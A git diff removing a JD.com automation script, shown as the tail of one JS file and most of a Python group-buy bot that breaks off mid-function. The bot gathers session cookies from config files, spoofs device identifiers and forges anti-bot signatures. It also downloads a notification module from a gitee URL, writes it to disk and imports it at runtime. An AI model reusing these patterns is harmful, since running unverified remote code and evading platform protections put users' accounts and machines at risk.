"application/x-www-form-urlencoded", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Cookie": cookie, - "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") - } - } - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - if (data["retcode"] === 13) { - $.isLogin = false; //cookie过期 - return; - } - if (data["retcode"] === 0) { - $.nickName = (data["base"] && data["base"].nickname) || $.UserName; - } else { - $.nickName = $.UserName; - } - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -async function safeGet(data) { - try { - if (typeof JSON.parse(data) == "object") { - return true; - } - } catch (e) { - console.log(e); - console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); - return false; - } -} -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} -// prettier-ignore - -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/backUp/jd_jxgc_tuan.py b/backUp/jd_jxgc_tuan.py deleted file mode 100644 index 695c852..0000000 --- a/backUp/jd_jxgc_tuan.py +++ /dev/null @@ -1,592 +0,0 @@ -#!/usr/bin/env python3 -# -*- coding: utf-8 -* -''' -cron: 0 0,7,10 * * * jd_jxgc_tuan.py -new Env('京喜工厂开团'); -''' -#ck 优先读取【JDCookies.txt】 文件内的ck 再到 ENV的 变量 JD_COOKIE='ck1&ck2' 最后才到脚本内 cookies=ck -cookies = '' -# 设置开团的账号可填用户名 或 pin的值不要; env 设置 export jxgc_kaituan="用户1&用户2" -# jxgc_kaituan = ['用户1','用户2'] -jxgc_kaituan = [] - -#京喜UA -UserAgent = '' - -import os, re, sys -import random -try: - import requests -except Exception as e: - print(e, "\n缺少requests 模块,请执行命令安装:pip3 install requests") - exit(3) -from urllib.parse import unquote, quote -import json -import time, datetime -requests.packages.urllib3.disable_warnings() -pwd = os.path.dirname(os.path.abspath(__file__)) + os.sep -from hashlib import sha256, sha512, md5 -import hmac - -appId = 10001 -activeId = 'Xj2_3G-hQ4GRLCsLqIxFeQ%3D%3D' - -countElectric = {} -def userAgent(): - global iosV - """ - 随机生成一个UA - :return: ua - """ - if not UserAgent: - uuid = ''.join(random.sample('123456789abcdef123456789abcdef123456789abcdef123456789abcdef', 40)) - addressid = ''.join(random.sample('1234567898647', 10)) - iosVer = ''.join(random.sample(["14.5.1", "14.4", "14.3", "14.2", "14.1", "14.0.1", "13.7", "13.1.2", "13.1.1"], 1)) - iosV = iosVer.replace('.', '_') - iPhone = ''.join(random.sample(["8", "9", "10", "11", "12", "13"], 1)) - ADID = ''.join(random.sample('0987654321ABCDEF', 8)) + '-' + ''.join(random.sample('0987654321ABCDEF', 4)) + '-' + ''.join(random.sample('0987654321ABCDEF', 4)) + '-' + ''.join(random.sample('0987654321ABCDEF', 4)) + '-' + ''.join(random.sample('0987654321ABCDEF', 12)) - return f'jdpingou;iPhone;4.11.0;{iosVer};{uuid};network/wifi;model/iPhone{iPhone},1;appBuild/100591;ADID/{ADID};supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/0;hasOCPay/0;supportBestPay/0;session/8;pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS {iosV} like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148' - else: - return UserAgent - -def getEnvs(label): - try: - if label == 'True' or label == 'yes' or label == 'true' or label == 'Yes': - return True - elif label == 'False' or label == 'no' or label == 'false' or label == 'No': - return False - except Exception as e: - pass - try: - if '.' in label: - return float(label) - elif '&' in label: - return label.split('&') - elif '@' in label: - return label.split('@') - else: - return int(label) - except: - return label - -class getJDCookie(object): - # 适配各种平台环境ck - - def getckfile(self): - global v4f - curf = pwd + 'JDCookies.txt' - v4f = '/jd/config/config.sh' - ql_new = '/ql/config/env.sh' - ql_old = '/ql/config/cookie.sh' - if os.path.exists(curf): - with open(curf, "r", encoding="utf-8") as f: - cks = f.read() - f.close() - r = re.compile(r"pt_key=.*?pt_pin=.*?;", re.M | re.S | re.I) - cks = r.findall(cks) - if len(cks) > 0: - return curf - else: - pass - if os.path.exists(ql_new): - print("当前环境青龙面板新版") - return ql_new - elif os.path.exists(ql_old): - print("当前环境青龙面板旧版") - return ql_old - elif os.path.exists(v4f): - print("当前环境V4") - return v4f - return curf - - # 获取cookie - def getCookie(self): - global cookies - ckfile = self.getckfile() - try: - if os.path.exists(ckfile): - with open(ckfile, "r", encoding="utf-8") as f: - cks = f.read() - f.close() - if 'pt_key=' in cks and 'pt_pin=' in cks: - r = re.compile(r"pt_key=.*?pt_pin=.*?;", re.M | re.S | re.I) - cks = r.findall(cks) - if len(cks) > 0: - if 'JDCookies.txt' in ckfile: - print("当前获取使用 JDCookies.txt 的cookie") - cookies = '' - for i in cks: - if 'pt_key=xxxx' in i: - pass - else: - cookies += i - return - else: - with open(pwd + 'JDCookies.txt', "w", encoding="utf-8") as f: - cks = "#多账号换行,以下示例:(通过正则获取此文件的ck,理论上可以自定义名字标记ck,也可以随意摆放ck)\n账号1【Curtinlv】cookie1;\n账号2【TopStyle】cookie2;" - f.write(cks) - f.close() - if "JD_COOKIE" in os.environ: - if len(os.environ["JD_COOKIE"]) > 10: - cookies = os.environ["JD_COOKIE"] - print("已获取并使用Env环境 Cookie") - except Exception as e: - print(f"【getCookie Error】{e}") - - # 检测cookie格式是否正确 - def getUserInfo(self, ck, pinName, userNum): - url = 'https://me-api.jd.com/user_new/info/GetJDUserInfoUnion?orgFlag=JD_PinGou_New&callSource=mainorder&channel=4&isHomewhite=0&sceneval=2&sceneval=2&callback=' - headers = { - 'Cookie': ck, - 'Accept': '*/*', - 'Connection': 'close', - 'Referer': 'https://home.m.jd.com/myJd/home.action', - 'Accept-Encoding': 'gzip, deflate, br', - 'Host': 'me-api.jd.com', - 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1', - 'Accept-Language': 'zh-cn' - } - try: - if sys.platform == 'ios': - resp = requests.get(url=url, verify=False, headers=headers, timeout=60).json() - else: - resp = requests.get(url=url, headers=headers, timeout=60).json() - if resp['retcode'] == "0": - nickname = resp['data']['userInfo']['baseInfo']['nickname'] - return ck, nickname - else: - context = f"账号{userNum}【{pinName}】Cookie 已失效!请重新获取。" - print(context) - return ck, False - except Exception: - context = f"账号{userNum}【{pinName}】Cookie 已失效!请重新获取。" - print(context) - return ck, False - - def iscookie(self): - """ - :return: cookiesList,userNameList,pinNameList - """ - cookiesList = [] - userNameList = [] - pinNameList = [] - if 'pt_key=' in cookies and 'pt_pin=' in cookies: - r = re.compile(r"pt_key=.*?pt_pin=.*?;", re.M | re.S | re.I) - result = r.findall(cookies) - if len(result) >= 1: - print("您已配置{}个账号".format(len(result))) - u = 1 - for i in result: - r = re.compile(r"pt_pin=(.*?);") - pinName = r.findall(i) - pinName = unquote(pinName[0]) - # 获取账号名 - ck, nickname = self.getUserInfo(i, pinName, u) - if nickname != False: - cookiesList.append(ck) - userNameList.append(nickname) - pinNameList.append(pinName) - else: - u += 1 - continue - u += 1 - if len(cookiesList) > 0 and len(userNameList) > 0: - return cookiesList, userNameList, pinNameList - else: - print("没有可用Cookie,已退出") - exit(3) - else: - print("cookie 格式错误!...本次操作已退出") - exit(4) - else: - print("cookie 格式错误!...本次操作已退出") - exit(4) -getCk = getJDCookie() -getCk.getCookie() - -# 获取v4环境 特殊处理 -if os.path.exists(v4f): - try: - with open(v4f, 'r', encoding='utf-8') as f: - curenv = locals() - for i in f.readlines(): - r = re.compile(r'^export\s(.*?)=[\'\"]?([\w\.\-@#!&=_,\[\]\{\}\(\)]{1,})+[\'\"]{0,1}$', re.M | re.S | re.I) - r = r.findall(i) - if len(r) > 0: - for i in r: - if i[0] != 'JD_COOKIE': - curenv[i[0]] = getEnvs(i[1]) - except: - pass - -if "jxgc_kaituan" in os.environ: - if len(os.environ["jxgc_kaituan"]) > 1: - jxgc_kaituan = os.environ["jxgc_kaituan"] - if '&' in jxgc_kaituan: - jxgc_kaituan = jxgc_kaituan.replace('[', '').replace(']', '').replace('\'', '').replace(' ', '').split('&') - elif ',' in jxgc_kaituan: - jxgc_kaituan = jxgc_kaituan.replace('[', '').replace(']', '').replace('\'', '').replace(' ', '').split(',') - elif '@' in jxgc_kaituan: - jxgc_kaituan = jxgc_kaituan.replace('[', '').replace(']', '').replace('\'', '').replace(' ', '').split('@') - print("已获取并使用Env环境 jxgc_kaituan:", jxgc_kaituan) -if not isinstance(jxgc_kaituan, list): - jxgc_kaituan = jxgc_kaituan.split(" ") - -def getactiveId(): - global activeId - url = 'https://wqsd.jd.com/pingou/dream_factory/index.html' - headers = { - "Upgrade-Insecure-Requests": 1, - "User-Agent": "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Mobile Safari/537.36" - } - result = requests.get(url, headers, timeout=30).text - r = re.compile(r'activeId=(Xj2_.*?),') - r = r.findall(result) - if len(r) > 0: - activeId = r[0] - print(f"当前最新activeId【{activeId}】") - - -def get_sign(algo, data, key): - key = key.encode('utf-8') - message = data.encode('utf-8') - if algo == 'HmacSHA256': - algo = sha256 - elif algo == 'HmacSHA512': - algo = sha512 - elif algo == 'HmacMD5': - algo = md5 - elif algo == 'SHA256': - data_sha = sha256(data.encode('utf-8')).hexdigest() - return data_sha - elif algo == 'SHA512': - data_sha = sha512(data.encode('utf-8')).hexdigest() - return data_sha - elif algo == 'MD5': - data_sha = md5(data.encode('utf-8')).hexdigest() - return data_sha - else: - print("加密方式有误!") - return None - sign = hmac.new(key, message, digestmod=algo).hexdigest() - return sign - -def stimestamp(): - return round(time.time() * 1000) - -def snowtime(): - dateNow = datetime.datetime.now().strftime('%Y%m%d%H%M%s') - return dateNow[:17] - -def createFingerprint(): - a = ''.join(random.sample('0123456789578', 13)) + '{}'.format(stimestamp()) - return a[:16] - -def requestAlgo(st, time): - try: - fingerprint = createFingerprint() - timestamp = snowtime() - url = 'https://cactus.jd.com/request_algo?g_ty=ajax' - headers = { - 'Authority': 'cactus.jd.com', - 'Pragma': 'no-cache', - 'Cache-Control': 'no-cache', - 'Accept': 'application/json', - 'User-Agent': f'Mozilla/5.0 (iPhone; CPU iPhone OS {iosV} like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1', - 'Content-Type': 'application/json', - 'Origin': 'https://st.jingxi.com', - 'Sec-Fetch-Site': 'cross-site', - 'Sec-Fetch-Mode': 'cors', - 'Sec-Fetch-Dest': 'empty', - 'Referer': 'https://st.jingxi.com/', - 'Accept-Language': 'zh-CN,zh;q=0.9,zh-TW;q=0.8,en;q=0.7' - } - body = { - "version": "1.0", - "fp": '{}'.format(fingerprint), - "appId": '10001', - "timestamp": stimestamp(), - "platform": "web", - "expandParams": "" - } - r = requests.post(url, headers=headers, data=json.dumps(body)).json() - if r['status'] == 200: - tk = r['data']['result']['tk'] - algo = r['data']['result']['algo'] - digestmod = re.findall(r'algo\.(\w+)\(', algo) - random = re.findall(r'random=\'(.*?)\';', algo) - if len(digestmod) > 0 and len(random) > 0: - str1 = tk + fingerprint + timestamp + str(appId) + random[0] - sign_1 = get_sign(digestmod[0], str1, tk) - sign_2 = get_sign('HmacSHA256', st, sign_1) - h5st = f'{timestamp};{fingerprint};{appId};{tk};{sign_2}' - return quote(h5st) - else: - return '20210719013616266;9380516527487162;10001;tk01wab221c7aa8nd3BUZVQ1WGtaMK+sxvDXNfSVujUpKaI09IAqtgAh5cX7cO7FGnxH0v1PkRxW+jTezknjx/gtPt6E;2eb7d74f89e12f1348f939909eaf509061bfe1ce25f5d138d0d1481438d79a31' - except Exception as e: - print(e) - return '20210719013616266;5462077388591162;10001;tk01wb2d81c27a8nQWdpRkR2Y3RaL3gQ/jH3eRdiIuTP9vzGiTKpzoHDDPonzXICHw4Lln9KXEa89nFvp4B3WygX4M7y;9e96e2f52fb8db4cb0c555866b123cf00e00a941241a43843e2bd0fd9c2eb144' -## -## 获取通知服务 -class msg(object): - def __init__(self, m): - self.str_msg = m - self.message() - def message(self): - global msg_info - print(self.str_msg) - try: - msg_info = "{}\n{}".format(msg_info, self.str_msg) - except: - msg_info = "{}".format(self.str_msg) - sys.stdout.flush() - def getsendNotify(self, a=0): - if a == 0: - a += 1 - try: - url = 'https://gitee.com/curtinlv/Public/raw/master/sendNotify.py' - response = requests.get(url) - if 'curtinlv' in response.text: - with open('sendNotify.py', "w+", encoding="utf-8") as f: - f.write(response.text) - else: - if a < 5: - a += 1 - return self.getsendNotify(a) - else: - pass - except: - if a < 5: - a += 1 - return self.getsendNotify(a) - else: - pass - def main(self): - global send - cur_path = os.path.abspath(os.path.dirname(__file__)) - sys.path.append(cur_path) - if os.path.exists(cur_path + "/sendNotify.py"): - try: - from sendNotify import send - except: - self.getsendNotify() - try: - from sendNotify import send - except: - print("加载通知服务失败~") - else: - self.getsendNotify() - try: - from sendNotify import send - except: - print("加载通知服务失败~") - ################### -msg("").main() -############## - -def getResult(text): - try: - r = re.compile(r'try\s{jsonp.*?\((.*?)\)', re.M | re.S | re.I) - r = r.findall(text) - if len(r) > 0: - return json.loads(r[0]) - else: - return text - except Exception as e: - print(e) - return text -def buildURL(ck, url): - headers = { - 'Cookie': ck, - 'Accept': '*/*', - 'Connection': 'keep-alive', - 'Referer': 'https://st.jingxi.com/pingou/dream_factory/divide.html', - 'Accept-Encoding': 'gzip, deflate, br', - 'Host': 'm.jingxi.com', - 'User-Agent': userAgent(), - 'Accept-Language': 'zh-cn' - } - try: - url = unquote(url) - time = re.findall(r'_time=(.*?)&', url)[0] - _stk = re.findall(r'_stk=(.*?)&', url)[0] - _stklist = _stk.split(',') - oh5st = re.findall(r'h5st=(.*?)&', url)[0] - names = locals() - st = '' - s = 0 - for i in range(len(_stklist)): - names[_stklist[i]] = re.findall(r"{0}=(.*?)&".format(_stklist[i]), url)[0] - if s == len(_stklist)-1: - st = st + str(_stklist[i]) + ':' + names[_stklist[i]] - else: - st = st + str(_stklist[i]) + ':' + names[_stklist[i]] + "&" - s += 1 - h5st = requestAlgo(st, time) - url = url.replace(oh5st, h5st) - # url1 = re.findall(r'(.*?\?)', url)[0] - # url2 = re.findall(r'https://m.jingxi.com/dreamfactory.*?\?(.*)', url)[0] - return headers, url - - except Exception as e: - print("buildURL Error", e) - return headers, url - -def QueryAllTuan(ck): - try: - AllTuan = [] - _time = stimestamp() - url = f'https://m.jingxi.com/dreamfactory/tuan/QueryAllTuan?activeId={activeId}&pageNo=1&pageSize=10&_time={_time}&_stk=_time%2CactiveId%2CpageNo%2CpageSize&_ste=1&h5st=20210724105729296%3B2467674280075162%3B10001%3Btk01wd39c1d7da8nL1htbzNBcHNnmnd2bEuQS%2FQohlxJNFyOR90QddNilWUQmE0YQnLVcpFrNUjse9fV6hmDawaHelzp%3Be247245ec2f99f76e05cdc80187dc718c90d3ae409ad9dee55dd412e350a64f6&_={int(_time)+12}&sceneval=2&g_login_type=1&callback=jsonpCBKF&g_ty=ls' - headers, url = buildURL(ck, url) - r = requests.get(url, headers=headers, timeout=30, verify=False).text - data = getResult(r) - for i in data['tuanInfo']: - AllTuan.append(i['tuanId']) - if len(AllTuan) > 0: - return AllTuan - else: - return False - except Exception as e: - print(e) - return False -def QueryActiveConfig(ck): - try: - _time = stimestamp() - url = f'https://m.jingxi.com/dreamfactory/tuan/QueryActiveConfig?activeId={activeId}&tuanId=&_time={_time}&_stk=_time%2CactiveId%2CtuanId&_ste=1&h5st=20210717213423401%3B4316088645437162%3B10001%3Btk01w692e1a35a8nelBVM0N0NEliPUhE8RRHmMdPdJCfVENO%2FE71ZoMM98S4V67ihTo7hDW75aJaU5V2XpU99JrsLPEF%3Bfd20eeaf2e88c127d898c14c6c941e80097a01c7d235c405316a08ab70709e20&_={int(_time) + 4}&sceneval=2&g_login_type=1&callback=jsonpCBKF&g_ty=ls' - headers, url = buildURL(ck, url) - r = requests.get(url, headers=headers, timeout=30, verify=False).text - data = getResult(r) - tuanId = data['data']['userTuanInfo']['tuanId'] - isOpenTuan = data['data']['userTuanInfo']['isOpenTuan'] - surplusOpenTuanNum = data['data']['userTuanInfo']['surplusOpenTuanNum'] - encryptPin = data['data']['userInfo']['encryptPin'] - return tuanId, isOpenTuan, surplusOpenTuanNum, encryptPin - except Exception as e: - print(data) - print("QueryActiveConfig Errpr", e) - -def Award(ck, tuanId): - global countElectric - try: - _time = stimestamp() - tuanIdList = QueryAllTuan(ck) - if tuanIdList: - for i in tuanIdList: - url = f'https://m.jingxi.com/dreamfactory/tuan/Award?activeId={activeId}&tuanId={i}&_time={_time}&_stk=_time%2CactiveId%2CtuanId&_ste=1&h5st=20210718191447407%3B7117923136170161%3B10001%3Btk01wbabf1c6fa8nVWEzUnhGbkVXu%2BU5JvIH0sBY5KdtN%2FeUVwp%2FzPwCL7k9379OjujqfoLqoyJBK57podKunhi70f1O%3B434f9d888ab5f727dc6bae9fd0122d18165bc800f3de4ce70b0fd9b4bc23561d&_={int(_time)+12}&sceneval=2&g_login_type=1&callback=jsonpCBKF&g_ty=ls' - headers, url = buildURL(ck, url) - r = requests.get(url, headers=headers, timeout=30, verify=False).text - data = getResult(r) - if data['msg'] == 'OK': - electric = data['data']['electric'] - print(f"账号【{userNameList[ckNum]}】:获取电力 :{electric}") - try: - countElectric['{0}'.format(userNameList[ckNum])] += electric - except: - countElectric['{0}'.format(userNameList[ckNum])] = electric - else: - print(f"账号【{userNameList[ckNum]}】:{data['msg']}") - except Exception as e: - print("Award Error ", e) -def CreateTuan(ck): - try: - tuanId, isOpenTuan, surplusOpenTuanNum, encryptPin = QueryActiveConfig(ck) - if surplusOpenTuanNum != 0: - _time = stimestamp() - url = f'https://m.jingxi.com/dreamfactory/tuan/CreateTuan?activeId={activeId}&isOpenApp=1&_time={_time}&_stk=_time%2CactiveId%2CisOpenApp&_ste=1&h5st=20210717213421615%3B4316088645437162%3B10001%3Btk01w692e1a35a8nelBVM0N0NEliPUhE8RRHmMdPdJCfVENO%2FE71ZoMM98S4V67ihTo7hDW75aJaU5V2XpU99JrsLPEF%3Bfe30749da12b4aab179b7fa95c4f7c20f46fda2cc50228293a47a337f1b3b734&_={int(_time) + 4}&sceneval=2&g_login_type=1&callback=jsonpCBKE&g_ty=ls' - headers, url = buildURL(ck, url) - r = requests.get(url, headers=headers, timeout=30, verify=False).text - getResult(r) - return tuanId, surplusOpenTuanNum - else: - return tuanId, surplusOpenTuanNum - except Exception as e: - print("CreateTuan Error", e) - -def JoinTuan(ck, tuanId, u, suser, user): - global cookiesList - try: - _time = stimestamp() - url = f'https://m.jingxi.com/dreamfactory/tuan/JoinTuan?activeId={activeId}&tuanId={tuanId}&_time={_time}&_stk=_time%2CactiveId%2CtuanId&_ste=1&h5st=20210717213558108%3B7117923136170161%3B10001%3Btk01wbabf1c6fa8nVWEzUnhGbkVXu%2BU5JvIH0sBY5KdtN%2FeUVwp%2FzPwCL7k9379OjujqfoLqoyJBK57podKunhi70f1O%3B81b27455ee7e75153e85c3ebb3bb4ada876200faa31d0e792037390b79ce5eff&_={int(_time) + 103}&sceneval=2&g_login_type=1&callback=jsonpCBKF&g_ty=ls' - headers, url = buildURL(ck, url) - r = requests.get(url, headers=headers, timeout=30, verify=False).text - data = getResult(r) - ret = data['ret'] - if ret == 0: - print(f"用户{u}【{user}】=>【{suser}】:{data['msg']} 加团成功谢谢你~") - cookiesList.remove(ck) - return False - elif ret == 10209: - print(f"【{suser}】:{data['msg']}") - return True - elif ret == 10005: - print(f"用户{u}【{user}】=>【{suser}】:{data['msg']}") - return False - else: - print(f"用户{u}【{user}】=>【{suser}】:{data['msg']}") - return False - except Exception as e: - print("JoinTuan Error", e) - - - -def start(): - scriptName = '### 京喜工厂-开团 ###' - print(scriptName) - global cookiesList, userNameList, pinNameList, ckNum - cookiesList, userNameList, pinNameList = getCk.iscookie() - setUserNum = len(jxgc_kaituan) - if setUserNum > 0: - pass - else: - print("提示:你还没设置开团的账号,变量:export jxgc_kaituan=\"用户1&用户2\"") - print(f"本次默认给【账号1】{userNameList[0]}开团") - jxgc_kaituan.append(userNameList[0]) - getactiveId() - for ckname in jxgc_kaituan: - try: - ckNum = userNameList.index(ckname) - except Exception as e: - try: - ckNum = pinNameList.index(unquote(ckname)) - except: - print(f"请检查被助力账号【{ckname}】名称是否正确?提示:助力名字可填pt_pin的值、也可以填账号名。") - continue - userName = userNameList[ckNum] - s = 1 - for i in range(3): - print(f"【{userNameList[ckNum]}】开始第{i+1}次开团") 